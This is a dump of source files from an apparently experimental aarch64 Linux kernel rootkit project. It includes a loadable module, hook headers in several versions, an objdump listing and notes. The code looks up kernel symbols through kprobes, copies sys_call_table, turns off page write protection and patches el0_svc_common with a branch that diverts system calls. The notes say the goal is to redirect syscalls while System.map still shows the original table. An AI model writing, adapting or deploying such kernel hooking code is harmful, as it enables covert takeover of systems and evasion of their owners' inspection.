} 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /exception_handler_hooking/ehh.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "copy_sys_call_table.h" 7 | #include "hook_v2.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_VERSION("1.0"); 12 | 13 | static int __init hook_test_mod_init(void) { 14 | struct ehh_hook hook; 15 | hook.number = __NR_mkdirat; 16 | hook.orig_table = kallsyms_lookup_name_("sys_call_table"); 17 | hook.new_table = copy_sys_call_table(hook.orig_table); 18 | pr_info("debug: orig_table %i -> %pK, new_table %i -> %pK\n", __NR_mkdirat, 19 | ((void **) hook.orig_table)[__NR_mkdirat], __NR_mkdirat, 20 | ((void **) hook.new_table)[__NR_mkdirat]); 21 | 22 | hook_el0_svc_common(&hook); 23 | pr_info("debug: module loaded\n"); 24 | return 0; 25 | } 26 | 27 | static void __exit hook_test_mod_exit(void) { 28 | pr_info("debug: module unloaded\n"); 29 | } 30 | 31 | 32 | module_init(hook_test_mod_init); 33 | module_exit(hook_test_mod_exit); 34 | -------------------------------------------------------------------------------- /exception_handler_hooking/ehh.objdump: -------------------------------------------------------------------------------- 1 | 2 | ehh.ko: file format elf64-littleaarch64 3 | 4 | 5 | Disassembly of section .text: 6 | 7 | 0000000000000000 : 8 | 0: a9bf7bfd stp x29, x30, [sp, #-16]! 9 | 4: 910003fd mov x29, sp 10 | 8: d50320ff xpaclri 11 | c: aa1e03e0 mov x0, x30 12 | 10: 94000000 bl 0 <_mcount> 13 | 14: a8c17bfd ldp x29, x30, [sp], #16 14 | 18: d65f03c0 ret 15 | 1c: d503201f nop 16 | 17 | 0000000000000020 : 18 | 20: a9bf7bfd stp x29, x30, [sp, #-16]! 19 | 24: 910003fd mov x29, sp 20 | 28: d50320ff xpaclri 21 | 2c: aa1e03e0 mov x0, x30 22 | 30: 94000000 bl 0 <_mcount> 23 | 34: d503201f nop 24 | 38: d503201f nop 25 | 3c: d503201f nop 26 | 40: d503201f nop 27 | 44: d503201f nop 28 | 48: d503201f nop 29 | 4c: d503201f nop 30 | 50: d503201f nop 31 | 54: d503201f nop 32 | 58: d503201f nop 33 | 5c: d503201f nop 34 | 60: d503201f nop 35 | 64: d503201f nop 36 | 68: d503201f nop 37 | 6c: d503201f nop 38 | 70: d503201f nop 39 | 74: d503201f nop 40 | 78: d503201f nop 41 | 7c: d503201f nop 42 | 80: d503201f nop 43 | 84: d503201f nop 44 | 88: d503201f nop 45 | 8c: 90000000 adrp x0, 0 46 | 90: 91000000 add x0, x0, #0x0 47 | 94: 94000000 bl 0 48 | 98: a8c17bfd ldp x29, x30, [sp], #16 49 | 9c: d65f03c0 ret 50 | 51 | 00000000000000a0 : 52 | a0: a9bf7bfd stp x29, x30, [sp, #-16]! 53 | a4: 910003fd mov x29, sp 54 | a8: d50320ff xpaclri 55 | ac: aa1e03e0 mov x0, x30 56 | b0: 94000000 bl 0 <_mcount> 57 | b4: a8c17bfd ldp x29, x30, [sp], #16 58 | b8: d65f03c0 ret 59 | bc: d503201f nop 60 | 61 | 00000000000000c0 : 62 | c0: a9bd7bfd stp x29, x30, [sp, #-48]! 63 | c4: 910003fd mov x29, sp 64 | c8: a90153f3 stp x19, x20, [sp, #16] 65 | cc: f90013f5 str x21, [sp, #32] 66 | d0: 90000013 adrp x19, 0 67 | d4: 91000273 add x19, x19, #0x0 68 | d8: d50320ff xpaclri 69 | dc: aa0003f4 mov x20, x0 70 | e0: aa1e03e0 mov x0, x30 71 | e4: 94000000 bl 0 <_mcount> 72 | e8: aa1303e0 mov x0, x19 73 | ec: f9001a74 str x20, [x19, #48] 74 | f0: 94000000 bl 0 75 | f4: 37f801c0 tbnz w0, #31, 12c 76 | f8: f9401675 ldr x21, [x19, #40] 77 | fc: aa1303e0 mov x0, x19 78 | 100: 94000000 bl 0 79 | 104: 90000000 adrp x0, 0 80 | 108: aa1403e1 mov x1, x20 81 | 10c: aa1503e2 mov x2, x21 82 | 110: 91000000 add x0, x0, #0x0 83 | 114: 94000000 bl 0 84 | 118: aa1503e0 mov x0, x21 85 | 11c: a94153f3 ldp x19, x20, [sp, #16] 86 | 120: f94013f5 ldr x21, [sp, #32] 87 | 124: a8c37bfd ldp x29, x30, [sp], #48 88 | 128: d65f03c0 ret 89 | 12c: aa1403e1 mov x1, x20 90 | 130: 90000000 adrp x0, 0 91 | 134: 92800035 mov x21, #0xfffffffffffffffe // #-2 92 | 138: 91000000 add x0, x0, #0x0 93 | 13c: 94000000 bl 0 94 | 140: 17fffff6 b 118 95 | 144: d503201f nop 96 | 97 | 0000000000000148 : 98 | 148: a9be7bfd stp x29, x30, [sp, #-32]! 99 | 14c: 910003fd mov x29, sp 100 | 150: a90153f3 stp x19, x20, [sp, #16] 101 | 154: 90000014 adrp x20, 0 102 | 158: d50320ff xpaclri 103 | 15c: 91000294 add x20, x20, #0x0 104 | 160: aa0003f3 mov x19, x0 105 | 164: aa1e03e0 mov x0, x30 106 | 168: 94000000 bl 0 <_mcount> 107 | 16c: f9404681 ldr x1, [x20, #136] 108 | 170: b40001a1 cbz x1, 1a4 109 | 174: aa1303e0 mov x0, x19 110 | 178: d63f0020 blr x1 111 | 17c: aa1303e1 mov x1, x19 112 | 180: aa0003f3 mov x19, x0 113 | 184: aa1303e2 mov x2, x19 114 | 188: 90000000 adrp x0, 0 115 | 18c: 91000000 add x0, x0, #0x0 116 | 190: 94000000 bl 0 117 | 194: aa1303e0 mov x0, x19 118 | 198: a94153f3 ldp x19, x20, [sp, #16] 119 | 19c: a8c27bfd ldp x29, x30, [sp], #32 120 | 1a0: d65f03c0 ret 121 | 1a4: 90000000 adrp x0, 0 122 | 1a8: 91000000 add x0, x0, #0x0 123 | 1ac: 94000000 bl c0 124 | 1b0: aa0003e1 mov x1, x0 125 | 1b4: f9004680 str x0, [x20, #136] 126 | 1b8: 17ffffef b 174 127 | 1bc: d503201f nop 128 | 129 | 00000000000001c0 : 130 | 1c0: a9be7bfd stp x29, x30, [sp, #-32]! 131 | 1c4: 910003fd mov x29, sp 132 | 1c8: f9000bf3 str x19, [sp, #16] 133 | 1cc: d50320ff xpaclri 134 | 1d0: aa0003f3 mov x19, x0 135 | 1d4: aa1e03e0 mov x0, x30 136 | 1d8: 94000000 bl 0 <_mcount> 137 | 1dc: 90000000 adrp x0, 0 138 | 1e0: 91000000 add x0, x0, #0x0 139 | 1e4: 94000000 bl 148 140 | 1e8: f9402002 ldr x2, [x0, #64] 141 | 1ec: d367be63 ubfx x3, x19, #39, #9 142 | 1f0: f8637840 ldr x0, [x2, x3, lsl #3] 143 | 1f4: b4000440 cbz x0, 27c 144 | 1f8: 36080420 tbz w0, #1, 27c 145 | 1fc: 90000000 adrp x0, 0 146 | 200: d35e9a61 ubfx x1, x19, #30, #9 147 | 204: f8637842 ldr x2, [x2, x3, lsl #3] 148 | 208: d37df021 lsl x1, x1, #3 149 | 20c: f9400003 ldr x3, [x0] 150 | 210: 92748c42 and x2, x2, #0xfffffffff000 151 | 214: cb030021 sub x1, x1, x3 152 | 218: 8b020021 add x1, x1, x2 153 | 21c: b2503c21 orr x1, x1, #0xffff000000000000 154 | 220: f9400020 ldr x0, [x1] 155 | 224: b40002c0 cbz x0, 27c 156 | 228: 360802a0 tbz w0, #1, 27c 157 | 22c: d3557662 ubfx x2, x19, #21, #9 158 | 230: f9400020 ldr x0, [x1] 159 | 234: d37df041 lsl x1, x2, #3 160 | 238: cb030021 sub x1, x1, x3 161 | 23c: 92748c00 and x0, x0, #0xfffffffff000 162 | 240: 8b000021 add x1, x1, x0 163 | 244: b2503c21 orr x1, x1, #0xffff000000000000 164 | 248: f9400020 ldr x0, [x1] 165 | 24c: b4000180 cbz x0, 27c 166 | 250: 36080160 tbz w0, #1, 27c 167 | 254: d34c5260 ubfx x0, x19, #12, #9 168 | 258: f9400021 ldr x1, [x1] 169 | 25c: d37df000 lsl x0, x0, #3 170 | 260: cb030000 sub x0, x0, x3 171 | 264: 92748c21 and x1, x1, #0xfffffffff000 172 | 268: 8b010000 add x0, x0, x1 173 | 26c: b2503c00 orr x0, x0, #0xffff000000000000 174 | 270: f9400bf3 ldr x19, [sp, #16] 175 | 274: a8c27bfd ldp x29, x30, [sp], #32 176 | 278: d65f03c0 ret 177 | 27c: d2800000 mov x0, #0x0 // #0 178 | 280: f9400bf3 ldr x19, [sp, #16] 179 | 284: a8c27bfd ldp x29, x30, [sp], #32 180 | 288: d65f03c0 ret 181 | 28c: d503201f nop 182 | 183 | 0000000000000290 : 184 | 290: a9be7bfd stp x29, x30, [sp, #-32]! 185 | 294: 910003fd mov x29, sp 186 | 298: f9000bf3 str x19, [sp, #16] 187 | 29c: aa0003f3 mov x19, x0 188 | 2a0: d50320ff xpaclri 189 | 2a4: aa1e03e0 mov x0, x30 190 | 2a8: 94000000 bl 0 <_mcount> 191 | 2ac: f9400260 ldr x0, [x19] 192 | 2b0: b79800a0 tbnz x0, #51, 2c4 193 | 2b4: 9278f800 and x0, x0, #0xffffffffffffff7f 194 | 2b8: d2e01101 mov x1, #0x88000000000000 // #38280596832649216 195 | 2bc: aa010000 orr x0, x0, x1 196 | 2c0: f9000260 str x0, [x19] 197 | 2c4: f9400bf3 ldr x19, [sp, #16] 198 | 2c8: a8c27bfd ldp x29, x30, [sp], #32 199 | 2cc: d65f03c0 ret 200 | 201 | 00000000000002d0 : 202 | 2d0: a9be7bfd stp x29, x30, [sp, #-32]! 203 | 2d4: 910003fd mov x29, sp 204 | 2d8: f9000bf3 str x19, [sp, #16] 205 | 2dc: d50320ff xpaclri 206 | 2e0: aa0003f3 mov x19, x0 207 | 2e4: aa1e03e0 mov x0, x30 208 | 2e8: 94000000 bl 0 <_mcount> 209 | 2ec: d281b400 mov x0, #0xda0 // #3488 210 | 2f0: 94000000 bl 0 211 | 2f4: aa1303e1 mov x1, x19 212 | 2f8: d281b402 mov x2, #0xda0 // #3488 213 | 2fc: aa0003f3 mov x19, x0 214 | 300: 94000000 bl 0 215 | 304: aa1303e0 mov x0, x19 216 | 308: f9400bf3 ldr x19, [sp, #16] 217 | 30c: a8c27bfd ldp x29, x30, [sp], #32 218 | 310: d65f03c0 ret 219 | 314: d503201f nop 220 | 221 | 0000000000000318 : 222 | 318: a9be7bfd stp x29, x30, [sp, #-32]! 223 | 31c: 910003fd mov x29, sp 224 | 320: f9000bf3 str x19, [sp, #16] 225 | 324: d50320ff xpaclri 226 | 328: aa0003f3 mov x19, x0 227 | 32c: aa1e03e0 mov x0, x30 228 | 330: 94000000 bl 0 <_mcount> 229 | 334: aa1303e0 mov x0, x19 230 | 338: 94000000 bl 0 231 | 33c: f9400bf3 ldr x19, [sp, #16] 232 | 340: a8c27bfd ldp x29, x30, [sp], #32 233 | 344: d65f03c0 ret 234 | 235 | 0000000000000348 : 236 | 348: a9bd7bfd stp x29, x30, [sp, #-48]! 237 | 34c: 910003fd mov x29, sp 238 | 350: a90153f3 stp x19, x20, [sp, #16] 239 | 354: f90013f5 str x21, [sp, #32] 240 | 358: d50320ff xpaclri 241 | 35c: aa1e03e0 mov x0, x30 242 | 360: 94000000 bl 0 <_mcount> 243 | 364: 90000014 adrp x20, 0 244 | 368: 90000001 adrp x1, 0 245 | 36c: 91000294 add x20, x20, #0x0 246 | 370: 91000021 add x1, x1, #0x0 247 | 374: 90000013 adrp x19, 0 248 | 378: cb140021 sub x1, x1, x20 249 | 37c: 91000273 add x19, x19, #0x0 250 | 380: 90000000 adrp x0, 0 251 | 384: 91000000 add x0, x0, #0x0 252 | 388: f9004a61 str x1, [x19, #144] 253 | 38c: 94000000 bl 148 254 | 390: f9004e60 str x0, [x19, #152] 255 | 394: 94000000 bl 1c0 256 | 398: f9400001 ldr x1, [x0] 257 | 39c: b79800a1 tbnz x1, #51, 3b0 258 | 3a0: 9278f821 and x1, x1, #0xffffffffffffff7f 259 | 3a4: d2e01102 mov x2, #0x88000000000000 // #38280596832649216 260 | 3a8: aa020021 orr x1, x1, x2 261 | 3ac: f9000001 str x1, [x0] 262 | 3b0: 90000015 adrp x21, 0 263 | 3b4: 910002b5 add x21, x21, #0x0 264 | 3b8: aa1503e0 mov x0, x21 265 | 3bc: 94000000 bl 1c0 266 | 3c0: f9400001 ldr x1, [x0] 267 | 3c4: b79800a1 tbnz x1, #51, 3d8 268 | 3c8: 9278f821 and x1, x1, #0xffffffffffffff7f 269 | 3cc: d2e01102 mov x2, #0x88000000000000 // #38280596832649216 270 | 3d0: aa020021 orr x1, x1, x2 271 | 3d4: f9000001 str x1, [x0] 272 | 3d8: a9490662 ldp x2, x1, [x19, #144] 273 | 3dc: aa1503e0 mov x0, x21 274 | 3e0: 94000000 bl 0 275 | 3e4: a9490262 ldp x2, x0, [x19, #144] 276 | 3e8: aa1403e1 mov x1, x20 277 | 3ec: 94000000 bl 0 278 | 3f0: a94153f3 ldp x19, x20, [sp, #16] 279 | 3f4: f94013f5 ldr x21, [sp, #32] 280 | 3f8: a8c37bfd ldp x29, x30, [sp], #48 281 | 3fc: d65f03c0 ret 282 | 283 | Disassembly of section .init.text: 284 | 285 | 0000000000000000 : 286 | 0: a9be7bfd stp x29, x30, [sp, #-32]! 287 | 4: 910003fd mov x29, sp 288 | 8: f9000bf3 str x19, [sp, #16] 289 | c: d50320ff xpaclri 290 | 10: aa1e03e0 mov x0, x30 291 | 14: 94000000 bl 0 <_mcount> 292 | 18: 90000000 adrp x0, 0 293 | 1c: 91000000 add x0, x0, #0x0 294 | 20: 94000000 bl 148 295 | 24: aa0003f3 mov x19, x0 296 | 28: 94000000 bl 2d0 297 | 2c: aa0003e4 mov x4, x0 298 | 30: 52800443 mov w3, #0x22 // #34 299 | 34: 2a0303e1 mov w1, w3 300 | 38: f9408a62 ldr x2, [x19, #272] 301 | 3c: 90000000 adrp x0, 0 302 | 40: f9408884 ldr x4, [x4, #272] 303 | 44: 91000000 add x0, x0, #0x0 304 | 48: 94000000 bl 0 305 | 4c: 90000000 adrp x0, 0 306 | 50: 91000000 add x0, x0, #0x0 307 | 54: 94000000 bl 0 308 | 58: 52800000 mov w0, #0x0 // #0 309 | 5c: f9400bf3 ldr x19, [sp, #16] 310 | 60: a8c27bfd ldp x29, x30, [sp], #32 311 | 64: d65f03c0 ret 312 | 313 | Disassembly of section .exit.text: 314 | 315 | 0000000000000000 : 316 | 0: a9bf7bfd stp x29, x30, [sp, #-16]! 317 | 4: 90000000 adrp x0, 0 318 | 8: 91000000 add x0, x0, #0x0 319 | c: 910003fd mov x29, sp 320 | 10: 94000000 bl 0 321 | 14: a8c17bfd ldp x29, x30, [sp], #16 322 | 18: d65f03c0 ret 323 | -------------------------------------------------------------------------------- /exception_handler_hooking/hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _EHH_H_ 2 | #define _EHH_H_ 3 | 4 | #include 5 | #include 6 | // #include 7 | #include "resolve_kallsyms.h" 8 | #include "set_page_flags.h" 9 | 10 | // hooking process: 11 | // copy (el0_svc_common entry, length x) -> hooked_el0_svc_common 12 | // copy shellcode (jmp hooked_el0_svc_common, length x) -> el0_svc_common 13 | // ----------------------------- 14 | // el0_svc_common entry 15 | // 0 --------------- 16 | // jmp hooked_el0_svc_common 17 | // x --------------- 18 | // el0_svc_common body 19 | // 20 | // >>>>>>>>>>> 21 | // 22 | // hooked_el0_svc_common entry 23 | // 0 --------------- 24 | // OVERWRITTEN el0_svc_common body 25 | // nop 26 | // nop 27 | // nop 28 | // ... 29 | // x --------------- 30 | // set sys_call_table to new addr 31 | // jmp el0_svc_common entry + x 32 | 33 | struct ehh_hook { 34 | int number; 35 | 36 | void *new_table; 37 | void *orig_table; 38 | 39 | void *new_fn; 40 | void *orig_fn; 41 | }; 42 | 43 | static volatile void __attribute__((used)) *new_sys_call_table; 44 | static volatile void __attribute__((used)) *el0_svc_common_; 45 | static volatile void __attribute__((used)) *el0_svc_common_hook_; 46 | static void el0_svc_common_hook(void); 47 | 48 | 49 | // x12 is not callee-saved 50 | static volatile void shellcode(void) { 51 | // ? overwrite stack initialization (5 instructions) 52 | // adrp is pc relative, this could cause problems 53 | // https://stackoverflow.com/questions/55112772/lower16-upper16-for-aarch64-absolute-address-into-register 54 | asm volatile("adrp x12, el0_svc_common_hook_"); 55 | asm volatile("ldr x12, [x12, el0_svc_common_hook_]"); 56 | asm volatile("blr x12"); 57 | 58 | } 59 | static void shellcode_end(void) { 60 | } 61 | static uintptr_t shellcode_size; 62 | 63 | // 0000000000000048 : 64 | // 48: a9bf7bfd stp x29, x30, [sp, #-16]! 65 | // 4c: 910003fd mov x29, sp 66 | // 50: d50320ff xpaclri 67 | // 54: aa1e03e0 mov x0, x30 68 | // 58: 94000000 bl 0 <_mcount> 69 | // 5c: d503201f nop 70 | // >>>>>>>>>>> 71 | // d0: d503201f nop 72 | // d4: 90000000 adrp x0, 0 73 | // d8: 91000000 add x0, x0, #0x0 74 | // dc: 94000000 bl 0 75 | // e0: 90000003 adrp x3, 0 76 | // e4: f9405863 ldr x3, [x3, #176] 77 | // e8: 9000000c adrp x12, 0 78 | // ec: f940558c ldr x12, [x12, #168] 79 | // f0: d63f0180 blr x12 80 | // f4: a8c17bfd ldp x29, x30, [sp], #16 81 | // f8: d65f03c0 ret 82 | // fc: d503201f nop 83 | 84 | 85 | static volatile void el0_svc_common_hook(void) { 86 | // todo: check syscall # and redirect to table based on value 87 | // pad with nops just to be sure nothing is being overwritten 88 | asm volatile("nop\n\t" 89 | "nop\n\t" 90 | "nop\n\t" 91 | "nop\n\t" 92 | "nop\n\t" 93 | "nop\n\t" 94 | "nop\n\t" 95 | "nop\n\t" 96 | "nop\n\t" 97 | "nop\n\t" 98 | "nop\n\t" 99 | "nop\n\t" 100 | "nop\n\t" 101 | "nop\n\t" 102 | "nop\n\t" 103 | "nop\n\t" 104 | "nop\n\t" 105 | "nop\n\t" 106 | "nop\n\t" 107 | "nop\n\t" 108 | "nop\n\t" 109 | "nop\n\t" 110 | "nop\n\t" 111 | "nop\n\t" 112 | "nop\n\t" 113 | "nop\n\t" 114 | "nop\n\t" 115 | "nop\n\t" 116 | "nop\n\t" 117 | "nop\n\t"); 118 | 119 | pr_info("debug: syscall hooked please god if i see this message ill be so happy : DDDDD\n"); 120 | 121 | // asm volatile("adrp x3, new_sys_call_table"); 122 | // asm volatile("ldr x3, [x3, new_sys_call_table]"); 123 | asm volatile("adrp x12, el0_svc_common_"); 124 | asm volatile("ldr x12, [x12, el0_svc_common_]"); // add shellcode_size 125 | asm volatile("blr x12"); 126 | } 127 | void el0_svc_common_hook_end(void) { 128 | } 129 | 130 | void hook_el0_svc_common(struct ehh_hook *hook) { 131 | new_sys_call_table = hook->new_table; 132 | shellcode_size = (uintptr_t) shellcode_end - (uintptr_t) shellcode; 133 | 134 | // doesnt work due to some ghetto write protection that cant be disabled via the pagetable 135 | el0_svc_common_hook_ = el0_svc_common_hook; 136 | 137 | el0_svc_common_ = kallsyms_lookup_name_("el0_svc_common.constprop.0"); 138 | pr_info("debug: orig instructions %*ph\n", 64, el0_svc_common_); 139 | pte_flip_write_protect(page_from_virt(el0_svc_common_hook_)); 140 | pte_flip_write_protect(page_from_virt(el0_svc_common_)); 141 | flush_tlb_all(); 142 | // flush_cache_all(); 143 | 144 | // https://stackoverflow.com/questions/5982125/how-to-get-a-struct-page-from-any-address-in-the-linux-kernel 145 | memcpy(el0_svc_common_hook_, el0_svc_common_, shellcode_size); 146 | pr_info("debug: copied instructions %*ph\n", 64, el0_svc_common_hook_); 147 | memcpy(el0_svc_common_, shellcode, shellcode_size); 148 | pr_info("debug: copied instructions %*ph\n", 64, el0_svc_common_); 149 | } 150 | 151 | #endif 152 | -------------------------------------------------------------------------------- /exception_handler_hooking/hook_el0_svc_common.h: -------------------------------------------------------------------------------- 1 | #ifndef _EHH_H_ 2 | #define _EHH_H_ 3 | 4 | #include "resolve_kallsyms.h" 5 | #include "set_page_flags.h" 6 | 7 | struct ehh_hook { 8 | int number; 9 | 10 | void *new_table; 11 | void *orig_table; 12 | 13 | void *new_fn; 14 | void *orig_fn; 15 | }; 16 | 17 | static void *new_sys_call_table = NULL; 18 | static void *el0_svc_common_ = NULL; 19 | 20 | static void el0_svc_common_hook(void); 21 | 22 | static void shellcode(void) { 23 | __asm ("B %[addr]" 24 | : 25 | : [addr] "m" (el0_svc_common_hook) 26 | : "memory"); 27 | } 28 | static void shellcode_end(void) { 29 | } 30 | 31 | static void el0_svc_common_hook(void) { 32 | // todo: check syscall # and redirect to table based on value 33 | // pad with nops just to be sure nothing is being overwritten 34 | __asm("nop\n\t" 35 | "nop\n\t" 36 | "nop\n\t" 37 | "nop\n\t" 38 | "nop\n\t" 39 | "nop\n\t" 40 | "nop\n\t" 41 | "nop\n\t" 42 | "nop\n\t" 43 | "nop\n\t" 44 | "nop\n\t" 45 | "nop\n\t" 46 | "nop\n\t" 47 | "nop\n\t" 48 | "nop\n\t" 49 | "nop\n\t" 50 | "nop\n\t" 51 | "nop\n\t" 52 | "nop\n\t" 53 | "nop\n\t" 54 | "nop\n\t" 55 | "nop\n\t"); 56 | 57 | pr_info("debug: syscall hooked !\n"); 58 | __asm ("MOV r3, %[addr]" 59 | : 60 | : [addr] "m" (new_sys_call_table) 61 | : "memory"); 62 | __asm ("B %[addr]" 63 | : 64 | : [addr] "m" ((void *)((uintptr_t) el0_svc_common_ + ((uintptr_t) shellcode_end - (uintptr_t) shellcode))) 65 | : "memory"); 66 | } 67 | 68 | void hook_el0_svc_common(struct ehh_hook *hook) { 69 | el0_svc_common_ = kallsyms_lookup_name_("el0_svc_common.constprop.0"); 70 | new_sys_call_table = hook->new_table; 71 | 72 | uintptr_t shellcode_size = (uintptr_t) shellcode_end - (uintptr_t) shellcode; 73 | pte_flip_write_protect(page_from_virt(el0_svc_common_)); 74 | pte_flip_write_protect(page_from_virt(el0_svc_common_hook)); 75 | memcpy(el0_svc_common_hook, el0_svc_common_, shellcode_size); 76 | memcpy(el0_svc_common_, shellcode, shellcode_size); 77 | } 78 | 79 | #endif 80 | -------------------------------------------------------------------------------- /exception_handler_hooking/hook_v2.h: -------------------------------------------------------------------------------- 1 | #ifndef _EHH_H_ 2 | #define _EHH_H_ 3 | 4 | #include 5 | #include 6 | // #include 7 | #include "resolve_kallsyms.h" 8 | #include "set_page_flags.h" 9 | 10 | // hooking process: 11 | // copy (el0_svc_common entry, length x) -> hooked_el0_svc_common 12 | // copy shellcode (jmp hooked_el0_svc_common, length x) -> el0_svc_common 13 | // ----------------------------- 14 | // el0_svc_common entry 15 | // 0 --------------- 16 | // jmp hooked_el0_svc_common 17 | // x --------------- 18 | // el0_svc_common body 19 | // 20 | // >>>>>>>>>>> 21 | // 22 | // hooked_el0_svc_common entry 23 | // 0 --------------- 24 | // OVERWRITTEN el0_svc_common body 25 | // nop 26 | // nop 27 | // nop 28 | // ... 29 | // x --------------- 30 | // set sys_call_table to new addr 31 | // jmp el0_svc_common entry + x 32 | 33 | struct ehh_hook { 34 | int number; 35 | 36 | void *new_table; 37 | void *orig_table; 38 | 39 | void *new_fn; 40 | void *orig_fn; 41 | }; 42 | 43 | static volatile void __attribute__((used)) *new_sys_call_table; 44 | static volatile void __attribute__((used)) *el0_svc_common_; 45 | static volatile void __attribute__((used)) *el0_svc_common_hook_; 46 | static void el0_svc_common_hook(void); 47 | 48 | 49 | // x12 is not callee-saved 50 | static volatile void shellcode(void) { 51 | // ? overwrite stack initialization (5 instructions) 52 | 53 | // adrp is pc relative, this could cause problems 54 | // https://stackoverflow.com/questions/55112772/lower16-upper16-for-aarch64-absolute-address-into-register 55 | 56 | // asm volatile("adrp x12, el0_svc_common_hook_"); 57 | // asm volatile("ldr x12, [x12, el0_svc_common_hook_]"); 58 | 59 | asm volatile("movz x12, #:abs_g2_nc:el0_svc_common_hook_"); // #:abs_g2 causes overflow ?? 60 | asm volatile("movk x12, #:abs_g1_nc:el0_svc_common_hook_"); 61 | asm volatile("movk x12, #:abs_g0_nc:el0_svc_common_hook_"); 62 | asm volatile("ldr x12, [x12]"); 63 | asm volatile("blr x12"); 64 | 65 | } 66 | static void shellcode_end(void) { 67 | } 68 | static uintptr_t shellcode_size; 69 | 70 | // 0000000000000048 : 71 | // 48: a9bf7bfd stp x29, x30, [sp, #-16]! 72 | // 4c: 910003fd mov x29, sp 73 | // 50: d50320ff xpaclri 74 | // 54: aa1e03e0 mov x0, x30 75 | // 58: 94000000 bl 0 <_mcount> 76 | // 5c: d503201f nop 77 | // >>>>>>>>>>> 78 | // d0: d503201f nop 79 | // d4: 90000000 adrp x0, 0 80 | // d8: 91000000 add x0, x0, #0x0 81 | // dc: 94000000 bl 0 82 | // e0: 90000003 adrp x3, 0 83 | // e4: f9405863 ldr x3, [x3, #176] 84 | // e8: 9000000c adrp x12, 0 85 | // ec: f940558c ldr x12, [x12, #168] 86 | // f0: d63f0180 blr x12 87 | // f4: a8c17bfd ldp x29, x30, [sp], #16 88 | // f8: d65f03c0 ret 89 | // fc: d503201f nop 90 | 91 | 92 | static volatile void el0_svc_common_hook(void) { 93 | // todo: check syscall # and redirect to table based on value 94 | // pad with nops just to be sure nothing is being overwritten 95 | asm volatile("nop\n\t" 96 | "nop\n\t" 97 | "nop\n\t" 98 | "nop\n\t" 99 | "nop\n\t" 100 | "nop\n\t" 101 | "nop\n\t" 102 | "nop\n\t" 103 | "nop\n\t" 104 | "nop\n\t" 105 | "nop\n\t" 106 | "nop\n\t" 107 | "nop\n\t" 108 | "nop\n\t" 109 | "nop\n\t" 110 | "nop\n\t" 111 | "nop\n\t" 112 | "nop\n\t" 113 | "nop\n\t" 114 | "nop\n\t" 115 | "nop\n\t" 116 | "nop\n\t" 117 | "nop\n\t" 118 | "nop\n\t" 119 | "nop\n\t" 120 | "nop\n\t" 121 | "nop\n\t" 122 | "nop\n\t" 123 | "nop\n\t" 124 | "nop\n\t"); 125 | 126 | asm volatile("mov x12, #0"); 127 | // pr_info("debug: syscall hooked please god if i see this message ill be so happy : DDDDD\n"); 128 | 129 | // asm volatile("adrp x3, new_sys_call_table"); 130 | // asm volatile("ldr x3, [x3, new_sys_call_table]"); 131 | 132 | asm volatile("adrp x12, el0_svc_common_"); 133 | asm volatile("ldr x12, [x12, el0_svc_common_]"); 134 | asm volatile("adrp x13, shellcode_size"); 135 | asm volatile("ldr x13, [x13, shellcode_size]"); // add shellcode_size 136 | asm volatile("add x12, x12, x13"); 137 | asm volatile("blr x12"); 138 | } 139 | void el0_svc_common_hook_end(void) { 140 | } 141 | 142 | void hook_el0_svc_common(struct ehh_hook *hook) { 143 | new_sys_call_table = hook->new_table; 144 | shellcode_size = (uintptr_t) shellcode_end - (uintptr_t) shellcode; 145 | 146 | el0_svc_common_hook_ = el0_svc_common_hook; 147 | el0_svc_common_ = kallsyms_lookup_name_("el0_svc_common.constprop.0"); 148 | pr_info("debug: orig el0_svc_common_ instructions %*ph\n", 64, el0_svc_common_); 149 | 150 | pte_flip_write_protect(page_from_virt(el0_svc_common_hook_)); 151 | pte_flip_write_protect(page_from_virt(el0_svc_common_)); 152 | flush_tlb_all(); 153 | 154 | memcpy(el0_svc_common_hook_, el0_svc_common_, shellcode_size); 155 | pr_info("debug: copied el0_svc_common_ instructions %*ph\n", 64, el0_svc_common_hook_); 156 | memcpy(el0_svc_common_, shellcode, shellcode_size); 157 | pr_info("debug: copied shellcode instructions %*ph\n", 64, el0_svc_common_); 158 | } 159 | 160 | #endif 161 | -------------------------------------------------------------------------------- /exception_handler_hooking/hook_v3.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/exception_handler_hooking/hook_v3.h -------------------------------------------------------------------------------- /exception_handler_hooking/notes.txt: -------------------------------------------------------------------------------- 1 | wyt of over-writing the exception handling code, 2 | checking the syscall no and then redirecting to two different tables, one un-overwritten and the other i have modifed, 3 | system.map will still show the original table and the original addresses 4 | 5 | el0_svc_common 6 | 7 | el0_svc_common.constprop.0 8 | 9 | 10 | https://stackoverflow.com/questions/40270548/load-64-bit-address-of-a-symbol-to-a-register-on-aarch64 11 | // https://stackoverflow.com/questions/5982125/how-to-get-a-struct-page-from-any-address-in-the-linux-kernel 12 | -------------------------------------------------------------------------------- /exception_handler_hooking/resolve_kallsyms.h: -------------------------------------------------------------------------------- 1 | #ifndef _RESOLV_KALLSYMS_H_ 2 | #define _RESOLV_KALLSYMS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | typedef uintptr_t (*kallsyms_lookup_name_t)(const char *symbol_name); 9 | static kallsyms_lookup_name_t kallsyms_lookup_name__ = NULL; 10 | 11 | uintptr_t kprobe_get_func_addr(const char *func_name) { 12 | static struct kprobe kp; 13 | kp.symbol_name = func_name; 14 | if (register_kprobe(&kp) < 0) { 15 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 16 | return -ENOENT; 17 | } 18 | uintptr_t tmp = kp.addr; 19 | unregister_kprobe(&kp); 20 | pr_info("debug: kprobe_get_func_addr %s @ %pK\n", func_name, tmp); 21 | return tmp; 22 | } 23 | 24 | uintptr_t kallsyms_lookup_name_(const char *symbol_name) { 25 | if (!kallsyms_lookup_name__) { 26 | kallsyms_lookup_name__ = kprobe_get_func_addr("kallsyms_lookup_name"); 27 | } 28 | uintptr_t tmp = kallsyms_lookup_name__(symbol_name); 29 | pr_info("debug: kallsyms_lookup_name_ %s @ %pK\n", symbol_name, tmp); 30 | return tmp; 31 | } 32 | 33 | #endif 34 | -------------------------------------------------------------------------------- /exception_handler_hooking/set_page_flags.h: -------------------------------------------------------------------------------- 1 | 